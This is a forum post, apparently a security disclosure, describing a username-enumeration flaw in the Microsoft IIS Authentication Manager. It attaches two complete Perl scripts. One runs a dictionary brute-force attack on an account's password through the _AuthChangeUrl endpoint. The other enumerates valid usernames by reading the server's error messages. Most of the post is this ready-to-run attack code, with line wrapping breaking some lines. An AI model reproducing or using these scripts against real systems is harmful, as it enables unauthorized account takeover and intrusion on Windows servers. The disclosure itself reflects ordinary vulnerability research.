Likes: 
Let me start off by saying that im not sure if this already exists,
but i have never heard of it and neither has anyone i asked. So i'm
SURE you all know about the IIS Authentication Manager Vuln
(aexp4b.htr) and it can let people possibly bruteforce and change
local account info on a Windows box. Well, while messing with a IIS
machine this weekend I noticed that it also gives error messages that
basically let you verify whether or not a user account exists. For
example, if a user doesn't exist it says "The user name could not
be found." and if the user does exist it will say "The specified
network password is not correct" Anyway, I don't know if im the first
person to notice this, but I have never heard of it. Also attached are
two quick and dirty perl scripts i threw together to automate both the
process of identifying an account and then bruteforcing it. Anyway,
anyone ever notice or hear of the confirming if an account exists thing?
################################################## ########################
#################
# Miscrosoft IIS Authentication Manager BruteForce Tool - By JeiAr
http://www.gulftech.org
################################################## ########################
#################
# This tool can be used to brute force user accounts via dictionary
attack on the Microsoft
# IIS Authentication Manager. More details here
http://www.securityfocus.com/archive/1/8515
################################################## ########################
#################
use LWP::UserAgent;
################################################## ########################
#################
# Time to create the new LWP User Agent, Clear the screen, And print out
the scripts header
################################################## ########################
#################
$ua = new LWP::UserAgent;
$ua->agent("AgentName/0.1 " . $ua->agent);
system('cls');
&header;
################################################## ########################
#################
# Gather all user inputted data. Such as the domain name, host and
location of the wordlist
################################################## ########################
#################
print "Host: ";
$host=<STDIN>;
chomp $host;
print "Domain: ";
$domain=<STDIN>;
chomp $domain;
print "Account: ";
$account=<STDIN>;
chomp $account;
print "Word List: ";
$list=<STDIN>;
chomp $list;
################################################## ########################
#################
# Opens the wordlist and puts the data into an array. afterward setting
the count variables
################################################## ########################
#################
open (DATAFILE, "$list");
@datafile = <DATAFILE>;
chomp(@datafile);
$length = @datafile;
$count = 0;
$found = 0;
&space;
print "Cracked Accounts\n";
print "----------------\n";
################################################## ########################
#################
# Creates the HTTP request, Checks the responses, then prints out the
username if it exists
################################################## ########################
#################
while ($count < $length) {
$password = (@datafile[$count]);
my $req = new HTTP::Request POST => "http://$host/_AuthChangeUrl?";
$req->content_type('application/x-www-form-urlencoded');
$req->content
("domain=$domain&acct=$account&old=$password&new=$ password&new2=$password"
);
my $res = $ua->request($req);
$pattern = "Password successfully changed";
$_ = $res->content;
if (/$pattern/) {
print "$account : $password\n";
last if (/$pattern/);
}
$count++;
}
################################################## ########################
#################
# Thats all folks. Prints out the final details and footer. Rest is just
the subroutines
################################################## ########################
#################
&space;
&footer;
sub header {
print "IIS Auth Manager Brute Forcing Tool By JeiAr
[http://www.gulftech.org] \n";
print "-------------------------------------------------------------------
--- \n";
}
sub footer {
print "Session Results:\n";
print "--------------------\n";
print "Number Of Words : $length \n";
print "Number Of Tries : $count \n";
}
sub space {
print "\n" x2;
}
################################################## ########################
#################
# Miscrosoft IIS Authentication Manager Discovery Tool - By JeiAr
[http://www.gulftech.org]
################################################## ########################
#################
# This tool is used to find existing user accounts via a dictionary
attack on the Microsoft
# IIS Authentication Manager. More details here
http://www.securityfocus.com/archive/1/8515
################################################## ########################
#################
use LWP::UserAgent;
################################################## ########################
#################
# Time to create the new LWP User Agent, Clear the screen, And print out
the scripts header
################################################## ########################
#################
$ua = new LWP::UserAgent;
$ua->agent("AgentName/0.1 " . $ua->agent);
system('cls');
&header;
################################################## ########################
#################
# Gather all user inputted data. Such as the domain name, host and
location of the wordlist
################################################## ########################
#################
print "Host: ";
$host=<STDIN>;
chomp $host;
print "Domain: ";
$domain=<STDIN>;
chomp $domain;
print "Account List: ";
$list=<STDIN>;
chomp $list;
################################################## ########################
#################
# Opens the wordlist and puts the data into an array. afterward setting
the count variables
################################################## ########################
#################
open (DATAFILE, "$list");
@datafile = <DATAFILE>;
chomp(@datafile);
$length = @datafile;
$count = 0;
$found = 0;
&space;
print "Verified Accounts\n";
print "-----------------\n";
################################################## ########################
#################
# Creates the HTTP request, Checks the responses, then prints out the
username if it exists
################################################## ########################
#################
while ($count < $length) {
$account = (@datafile[$count]);
my $req = new HTTP::Request POST => "http://$host/_AuthChangeUrl?";
$req->content_type('application/x-www-form-urlencoded');
$req->content("domain=$domain&acct=$account&old=&new=&n ew2=");
my $res = $ua->request($req);
$pattern = "network password is not correct";
$_ = $res->content;
if (/$pattern/) {
print "$account\n";
$found++;
}
$count++;
}
################################################## ########################
#################
# Thats all folks. Prints out the final details and footer. Rest is just
the subroutines
################################################## ########################
#################
&space;
&footer;
sub header {
print "IIS Auth Manager User Discovery Tool By JeiAr
[http://www.gulftech.org]\n";
print "-------------------------------------------------------------------
----\n";
}
sub footer {
print "Enumeration Results:\n";
print "--------------------\n";
print "Number Of Tries : $length \n";
print "Confirmed Users : $found \n";
}
sub space {
print "\n" x2;
}
I hope the formatting of this message doesn't get trashed)
Quote
